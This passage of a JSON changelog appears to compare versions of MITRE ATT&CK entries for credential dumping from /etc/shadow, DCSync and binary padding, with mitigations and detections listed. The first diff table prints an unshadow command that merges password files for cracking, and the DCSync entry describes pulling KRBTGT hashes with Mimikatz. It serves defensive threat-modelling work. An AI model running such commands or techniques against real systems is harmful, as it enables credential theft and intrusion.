nowrap=\"nowrap\">o&nbsp;files&nbsp;in&nbsp;a&nbsp;format&nbsp;suited&nbsp;for&nbsp;password&nbsp;cracking&nbsp;utilities&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;files&nbsp;in&nbsp;a&nbsp;format&nbsp;suited&nbsp;for&nbsp;password&nbsp;cracking&nbsp;utilities&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uch&nbsp;as&nbsp;John&nbsp;the&nbsp;Ripper&nbsp;-&nbsp;for&nbsp;example,&nbsp;via&nbsp;the&nbsp;command&nbsp;&lt;code&gt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uch&nbsp;as&nbsp;John&nbsp;the&nbsp;Ripper&nbsp;-&nbsp;for&nbsp;example,&nbsp;via&nbsp;the&nbsp;command&nbsp;&lt;code&gt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/usr/bin/unshadow&nbsp;/etc/passwd&nbsp;/etc/shadow&nbsp;&gt;&nbsp;/tmp/crack.passw</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/usr/bin/unshadow&nbsp;/etc/passwd&nbsp;/etc/shadow&nbsp;&gt;&nbsp;/tmp/crack.passw</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ord.db&lt;/code&gt;(Citation:&nbsp;nixCraft&nbsp;-&nbsp;John&nbsp;the&nbsp;Ripper).&nbsp;Since&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ord.db&lt;/code&gt;(Citation:&nbsp;nixCraft&nbsp;-&nbsp;John&nbsp;the&nbsp;Ripper).&nbsp;Since&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;user&nbsp;information&nbsp;stored&nbsp;in&nbsp;&lt;code&gt;/etc/passwd&lt;/code&gt;&nbsp;<span class=\"diff_chg\">are</span>&nbsp;l</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;user&nbsp;information&nbsp;stored&nbsp;in&nbsp;&lt;code&gt;/etc/passwd&lt;/code&gt;&nbsp;<span class=\"diff_chg\">is</span>&nbsp;li</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">inked&nbsp;to&nbsp;the&nbsp;password&nbsp;hashes&nbsp;in&nbsp;&lt;code&gt;/etc/shadow&lt;/code&gt;,&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nked&nbsp;to&nbsp;the&nbsp;password&nbsp;hashes&nbsp;in&nbsp;&lt;code&gt;/etc/shadow&lt;/code&gt;,&nbsp;an&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;adversary&nbsp;would&nbsp;need&nbsp;to&nbsp;have&nbsp;access&nbsp;to&nbsp;both.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">adversary&nbsp;would&nbsp;need&nbsp;to&nbsp;have&nbsp;access&nbsp;to&nbsp;both.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management",
                            "M1027: Password Policies"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0446: Credential Access via /etc/passwd and /etc/shadow Parsing"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-11 18:45:34.293000+00:00",
                    "modified": "2026-11-04 00:13:20.464000+00:00",
                    "name": "DCSync",
                    "description": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017)(Citation: Microsoft GetNCCChanges)(Citation: Samba DRSUAPI)(Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1003/006",
                            "external_id": "T1003.006"
                        },
                        {
                            "source_name": "GitHub Mimikatz lsadump Module",
                            "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
                            "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"
                        },
                        {
                            "source_name": "ADSecurity Mimikatz DCSync",
                            "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.",
                            "url": "https://adsecurity.org/?p=1729"
                        },
                        {
                            "source_name": "Microsoft DRSR Dec 2017",
                            "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
                            "url": "https://msdn.microsoft.com/library/cc228086.aspx"
                        },
                        {
                            "source_name": "Microsoft NRPC Dec 2017",
                            "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
                            "url": "https://msdn.microsoft.com/library/cc237008.aspx"
                        },
                        {
                            "source_name": "Microsoft GetNCCChanges",
                            "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
                            "url": "https://msdn.microsoft.com/library/dd207691.aspx"
                        },
                        {
                            "source_name": "Samba DRSUAPI",
                            "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
                            "url": "https://wiki.samba.org/index.php/DRSUAPI"
                        },
                        {
                            "source_name": "Harmj0y Mimikatz and DCSync",
                            "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved September 23, 2024.",
                            "url": "https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
                        },
                        {
                            "source_name": "InsiderThreat ChangeNTLM July 2017",
                            "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
                            "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"
                        },
                        {
                            "source_name": "Wine API samlib.dll",
                            "description": "Wine API. (n.d.). samlib.dll. Retrieved November 17, 2024.",
                            "url": "https://strontic.github.io/xcyclopedia/library/samlib.dll-0BDF6351009F6EBA5BA7E886F23263B1.html"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "ExtraHop",
                        "Vincent Le Toux"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:13:20.464000+00:00\", \"old_value\": \"2025-10-24 17:49:36.308000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017)(Citation: Microsoft GetNCCChanges)(Citation: Samba DRSUAPI)(Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\\n\\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\\n\\nDCSync functionality has been included in the \\\"lsadump\\\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)\", \"old_value\": \"Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\\n\\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\\n\\nDCSync functionality has been included in the \\\"lsadump\\\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\\n+Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017)(Citation: Microsoft GetNCCChanges)(Citation: Samba DRSUAPI)(Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\\n \\n Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][3]\": {\"source_name\": \"AdSecurity DCSync Sept 2015\", \"description\": \"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.\", \"url\": \"https://adsecurity.org/?p=1729\"}, \"root['external_references'][7]\": {\"source_name\": \"Microsoft SAMR\", \"description\": \"Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.\", \"url\": \"https://msdn.microsoft.com/library/cc245496.aspx\"}, \"root['external_references'][9]\": {\"source_name\": \"Harmj0y DCSync Sept 2015\", \"description\": \"Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.\", \"url\": \"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to110__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to110__0\"><a href=\"#difflib_chg_to110__top\">t</a></td><td class=\"diff_header\" id=\"from110_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;access&nbsp;credentials&nbsp;and&nbsp;other&nbsp;sens</td><td class=\"diff_next\"><a href=\"#difflib_chg_to110__top\">t</a></td><td class=\"diff_header\" id=\"to110_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;attempt&nbsp;to&nbsp;access&nbsp;credentials&nbsp;and&nbsp;other&nbsp;sens</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itive&nbsp;information&nbsp;by&nbsp;abusing&nbsp;a&nbsp;Windows&nbsp;Domain&nbsp;Controller's&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itive&nbsp;information&nbsp;by&nbsp;abusing&nbsp;a&nbsp;Windows&nbsp;Domain&nbsp;Controller's&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pplication&nbsp;programming&nbsp;interface&nbsp;(API)(Citation:&nbsp;Microsoft&nbsp;D</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pplication&nbsp;programming&nbsp;interface&nbsp;(API)(Citation:&nbsp;Microsoft&nbsp;D</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">RSR&nbsp;Dec&nbsp;2017)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;GetNCCChanges)<span class=\"diff_sub\">&nbsp;</span>(Citation:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">RSR&nbsp;Dec&nbsp;2017)(Citation:&nbsp;Microsoft&nbsp;GetNCCChanges)(Citation:&nbsp;S</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Samba&nbsp;DRSUAPI)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Wine&nbsp;API&nbsp;samlib.dll)&nbsp;to&nbsp;simulate&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">amba&nbsp;DRSUAPI)(Citation:&nbsp;Wine&nbsp;API&nbsp;samlib.dll)&nbsp;to&nbsp;simulate&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;replication&nbsp;process&nbsp;from&nbsp;a&nbsp;remote&nbsp;domain&nbsp;controller&nbsp;usin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;replication&nbsp;process&nbsp;from&nbsp;a&nbsp;remote&nbsp;domain&nbsp;controller&nbsp;using&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;a&nbsp;technique&nbsp;called&nbsp;DCSync.&nbsp;&nbsp;Members&nbsp;of&nbsp;the&nbsp;Administrators,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;technique&nbsp;called&nbsp;DCSync.&nbsp;&nbsp;Members&nbsp;of&nbsp;the&nbsp;Administrators,&nbsp;Do</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Domain&nbsp;Admins,&nbsp;and&nbsp;Enterprise&nbsp;Admin&nbsp;groups&nbsp;or&nbsp;computer&nbsp;acco</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">main&nbsp;Admins,&nbsp;and&nbsp;Enterprise&nbsp;Admin&nbsp;groups&nbsp;or&nbsp;computer&nbsp;account</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">unts&nbsp;on&nbsp;the&nbsp;domain&nbsp;controller&nbsp;are&nbsp;able&nbsp;to&nbsp;run&nbsp;DCSync&nbsp;to&nbsp;pull</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;on&nbsp;the&nbsp;domain&nbsp;controller&nbsp;are&nbsp;able&nbsp;to&nbsp;run&nbsp;DCSync&nbsp;to&nbsp;pull&nbsp;pa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;password&nbsp;data(Citation:&nbsp;ADSecurity&nbsp;Mimikatz&nbsp;DCSync)&nbsp;from&nbsp;Ac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ssword&nbsp;data(Citation:&nbsp;ADSecurity&nbsp;Mimikatz&nbsp;DCSync)&nbsp;from&nbsp;Activ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tive&nbsp;Directory,&nbsp;which&nbsp;may&nbsp;include&nbsp;current&nbsp;and&nbsp;historical&nbsp;has</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Directory,&nbsp;which&nbsp;may&nbsp;include&nbsp;current&nbsp;and&nbsp;historical&nbsp;hashes</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hes&nbsp;of&nbsp;potentially&nbsp;useful&nbsp;accounts&nbsp;such&nbsp;as&nbsp;KRBTGT&nbsp;and&nbsp;Admini</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;potentially&nbsp;useful&nbsp;accounts&nbsp;such&nbsp;as&nbsp;KRBTGT&nbsp;and&nbsp;Administr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">strators.&nbsp;The&nbsp;hashes&nbsp;can&nbsp;then&nbsp;in&nbsp;turn&nbsp;be&nbsp;used&nbsp;to&nbsp;create&nbsp;a&nbsp;[G</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ators.&nbsp;The&nbsp;hashes&nbsp;can&nbsp;then&nbsp;in&nbsp;turn&nbsp;be&nbsp;used&nbsp;to&nbsp;create&nbsp;a&nbsp;[Gold</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">olden&nbsp;Ticket](https://attack.mitre.org/techniques/T1558/001)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;Ticket](https://attack.mitre.org/techniques/T1558/001)&nbsp;fo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;for&nbsp;use&nbsp;in&nbsp;[Pass&nbsp;the&nbsp;Ticket](https://attack.mitre.org/techn</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;use&nbsp;in&nbsp;[Pass&nbsp;the&nbsp;Ticket](https://attack.mitre.org/techniqu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iques/T1550/003)(Citation:&nbsp;Harmj0y&nbsp;Mimikatz&nbsp;and&nbsp;DCSync)&nbsp;or&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es/T1550/003)(Citation:&nbsp;Harmj0y&nbsp;Mimikatz&nbsp;and&nbsp;DCSync)&nbsp;or&nbsp;chan</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hange&nbsp;an&nbsp;account's&nbsp;password&nbsp;as&nbsp;noted&nbsp;in&nbsp;[Account&nbsp;Manipulatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ge&nbsp;an&nbsp;account's&nbsp;password&nbsp;as&nbsp;noted&nbsp;in&nbsp;[Account&nbsp;Manipulation](</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n](https://attack.mitre.org/techniques/T1098).(Citation:&nbsp;Ins</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">https://attack.mitre.org/techniques/T1098).(Citation:&nbsp;Inside</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iderThreat&nbsp;ChangeNTLM&nbsp;July&nbsp;2017)&nbsp;&nbsp;DCSync&nbsp;functionality&nbsp;has&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rThreat&nbsp;ChangeNTLM&nbsp;July&nbsp;2017)&nbsp;&nbsp;DCSync&nbsp;functionality&nbsp;has&nbsp;been</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">een&nbsp;included&nbsp;in&nbsp;the&nbsp;\"lsadump\"&nbsp;module&nbsp;in&nbsp;[Mimikatz](https://a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;included&nbsp;in&nbsp;the&nbsp;\"lsadump\"&nbsp;module&nbsp;in&nbsp;[Mimikatz](https://atta</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.mitre.org/software/S0002).(Citation:&nbsp;GitHub&nbsp;Mimikatz&nbsp;l</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ck.mitre.org/software/S0002).(Citation:&nbsp;GitHub&nbsp;Mimikatz&nbsp;lsad</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sadump&nbsp;Module)&nbsp;Lsadump&nbsp;also&nbsp;includes&nbsp;NetSync,&nbsp;which&nbsp;performs</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ump&nbsp;Module)&nbsp;Lsadump&nbsp;also&nbsp;includes&nbsp;NetSync,&nbsp;which&nbsp;performs&nbsp;DC</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;DCSync&nbsp;over&nbsp;a&nbsp;legacy&nbsp;replication&nbsp;protocol.(Citation:&nbsp;Micros</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Sync&nbsp;over&nbsp;a&nbsp;legacy&nbsp;replication&nbsp;protocol.(Citation:&nbsp;Microsoft</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oft&nbsp;NRPC&nbsp;Dec&nbsp;2017)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;NRPC&nbsp;Dec&nbsp;2017)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1015: Active Directory Configuration",
                            "M1026: Privileged Account Management",
                            "M1027: Password Policies"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0594: Detection of Unauthorized DCSync Operations via Replication API Abuse"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-05 14:04:25.865000+00:00",
                    "modified": "2026-11-04 03:07:26.511000+00:00",
                    "name": "Binary Padding",
                    "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limit the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1027/001",
                            "external_id": "T1027.001"
                        },
                        {
                            "source_name": "ESET OceanLotus",
                            "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                            "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                        },
                        {
                            "source_name": "Securelist Malware Tricks April 2017",
                            "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.",
                            "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/"
                        },
                        {
                            "source_name": "VirusTotal FAQ",
                            "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.",
                            "url": "https://www.virustotal.com/en/faq/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Martin Jirkal, ESET"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:07:26.511000+00:00\", \"old_value\": \"2026-09-11 20:00:19.155000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \\n\\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limit the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) \", \"old_value\": \"Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \\n\\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \\n 